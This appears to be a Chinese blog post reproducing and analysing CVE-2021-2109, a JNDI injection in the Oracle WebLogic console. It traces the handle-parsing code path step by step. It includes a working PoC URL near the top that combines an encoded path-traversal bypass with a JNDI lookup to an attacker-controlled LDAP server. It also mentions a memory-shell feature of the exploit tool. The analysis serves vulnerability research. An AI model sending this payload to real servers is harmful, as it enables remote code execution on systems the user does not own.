CVE-2021-2109

CVE-2021-2109的复现分析,触发jndi注入。

前言

CVE-2021-2109的复现,需要进后台或者没打权限绕过的补丁。

环境

和前weblogicConsoleHttp那篇文章的环境一样Weblogic 10.3.6和jdk7,使用jndiExploit工具进行jndi注入。

复现流程

poc

1
http://xxx/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

结果

image-20210202182627375

和weblogicConsoleHttp的渲染文件不同,one get rce要用console.portal,而触发jndi注入需要consolejndi.portal

image-20210202181431085

和one get rce一样,都是触发了HandleFactory类的getHandle方法,调用堆栈如下:

image-20210202182944565

ConsolePageFlowRequestProcessor类的processActionPerform调用HandleUtils.getHandleContextFromRequest方法,当request中不存在handle参数时会调用handleFromQueryString方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static Handle getHandleContextFromRequest(HttpServletRequest request, String objectType) {
if (request == null) {
return null;
} else {
Handle handle = (Handle)request.getAttribute("handle");
...

if (handle == null || !handle.isInitialized()) {
String strHandle = request.getParameter("handle");
if (!StringUtils.isEmptyString(strHandle)) {
handle = (Handle)ConvertUtils.convert(strHandle, Handle.class);
...
}

if (handle == null || !handle.isInitialized()) {
handle = handleFromQueryString(request);
if (handle != null && LOG.isDebugEnabled()) {
LOG.debug(" getHandleContextFromRequest found a handle in query string, handle = " + handle);
}
}

return filterHandle(handle, objectType);
}
}

调用HandleUtilshandleFromQueryString方法,如何参数以handle结尾,就将参数转化,最终触发HandleFactory中的getHandle方法。

1
2
3
4
5
6
7
... 
while(keys.hasNext()) {
String key = (String)keys.next();
if (key.endsWith("handle")) {
return (Handle)ConvertUtils.convert(HttpParsing.unescape((String)queryMap.get(key), enc), Handle.class);
}
}

JndiBindingHandle初始化后,会拼接获取displayName,调用栈如下:

image-20210202184306452

getDisplayName方法如下:

image-20210202184325449

其中:

image-20210202184508675

看下getContext方法

image-20210202184849613

image-20210202184900602

getComponents方法按照**;来切割components,即ldap://xxx;xxx:1389/Basic/WeblogicEcho;AdminServer会被分割成ldap://xxxxxx:1389/Basic/WeblogicEchoAdminServer,在getDisplay方法中第一部分和第二部分会被拼接成为url即ldap://xxx.xxx:1389/Basic/WeblogicEcho**,而最后的servername会在后面校验时调用。

获取displayname之后调用JNDIBindingActionexecute方法。

image-20210202185513380

bindName就是displayName,而执行lookup方法时,需要lookupServer方法执行结果不为空

image-20210202185655335

单步跟入:

image-20210202190011816

查看this对象nameManager中,只有AdminServertype是Server,所以最后的servername要被设置为AdminServer

image-20210202190128040

总结

该漏洞和one get rce的挖掘思路十分相似,但是打了补丁之后效果欠佳。jndiExploit的内存马功能还有点问题需要再调试。

参考

  1. https://www.anquanke.com/post/id/229383